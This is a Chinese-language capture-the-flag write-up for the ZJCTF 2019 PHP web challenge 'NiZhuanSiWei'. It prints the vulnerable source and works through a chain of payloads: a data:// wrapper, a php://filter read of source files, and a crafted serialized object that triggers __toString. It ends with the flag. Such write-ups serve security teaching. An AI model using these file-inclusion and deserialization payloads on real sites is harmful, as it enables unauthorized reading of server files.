ZJCTF 2019

Web

NiZhuanSiWei

้ข˜็›ฎ

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

ไผชๅ่ฎฎ

้ข˜็›ฎไธญไฝฟ็”จ file_get_contents($text,'r') ๏ผŒๅ› ๆญคๆƒณๅˆฐไฝฟ็”จไผชๅ่ฎฎ่ฟ›่กŒไผ ๅ…ฅใ€‚

ๅฐ† welcome to the zjctf ่ฟ›่กŒ base64 ็ผ–็ ๅฏไปฅๅพ—ๅˆฐ d2VsY29tZSB0byB0aGUgempjdGY=

ๆž„้€  payload text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY= ๅณๅฏ็ป•่ฟ‡็ฌฌไธ€ไธช if ๅˆคๆ–ญ

้€š่ฟ‡ useless.php ๅฏไปฅๅพ—็Ÿฅๅญ˜ๅœจ่ฏฅๆ–‡ไปถ๏ผŒๅนถไธ”ๅญ˜ๅœจๆ–‡ไปถๅŒ…ๅซ๏ผŒๆ•…ๅฐ่ฏ•ไฝฟ็”จ file:// ไผชๅ่ฎฎๆฅ่Žทๅ– useless.php ็š„ๆบไปฃ็ ๏ผŒๅณๆž„้€  pyaload text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&&file=php://filter/read=convert.base64-encode/resource=useless.php ใ€‚่ฟ›่กŒ base64 ่งฃ็ ๅŽๅฏไปฅๅพ—ๅˆฐ useless.php ็š„ๆบไปฃ็ 

<?php  
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

ๅๅบๅˆ—ๅŒ–

$password = unserialize($password);
echo $password;

ๅฏไปฅๅ‘็Žฐ echo $password; ไผš่งฆๅ‘ __tostring() ้ญ”ๆณ•ๅ‡ฝๆ•ฐ๏ผŒๅ…ˆ่ฟ›่กŒๅบๅˆ—ๅŒ–็š„ๆž„้€ 

<?php
class Flag{  //flag.php
  public $file;

  public function __construct() {
    $this->file = "php://filter/read=convert.base64-encode/resource=flag.php";
  }

  public function __tostring() {
    if (isset($this->file)) {
      echo file_get_contents($this->file);
      echo "<br>";
      return ("U R SO CLOSE !///COME ON PLZ");
    }
  }
}

echo serialize(new Flag());

ๅฏไปฅๅพ—ๅˆฐ O:4:"Flag":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}

้€š่ฟ‡ๆž„้€  payload text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&&file=useless.php&&password=O:4:"Flag":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";} ๅฐฑๅฏไปฅๅพ—ๅˆฐ flag.php ็š„ๅ†…ๅฎนๅฆ‚ไธ‹

<br>oh u find it </br>

<!--but i cant give it to u now-->

<?php

if(2===3){  
	return ("flag{fc224e21-fd69-4f3c-937f-b67ee5edccdb}");
}

?>

้‚ฃไนˆ่ฟ™้ข˜ๅฐฑ่งฃ็ญ”ๅฎŒๆฏ•ๅŠ›๏ผ

Last updated